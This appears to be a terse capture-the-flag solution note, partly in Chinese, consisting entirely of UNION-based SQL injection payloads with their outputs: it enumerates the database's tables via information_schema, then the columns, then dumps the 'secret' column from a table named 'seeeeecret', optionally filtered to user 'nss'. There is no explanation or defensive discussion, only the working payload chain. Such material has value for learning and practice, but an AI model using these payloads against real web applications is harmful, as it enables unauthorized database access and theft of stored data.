0'union select 1,(select group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema like database()),3'
messages,seeeeecret
1
0'union select 1,(select group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_schema like database()),3'
id,title,content,secret,user
1 2 3
0'union select 1,(select group_concat(secret) COLLATE utf8_general_ci from seeeeecret where user like 'nss'),3' 或 0'union select 1,(select group_concat(secret) COLLATE utf8_general_ci from seeeeecret),3'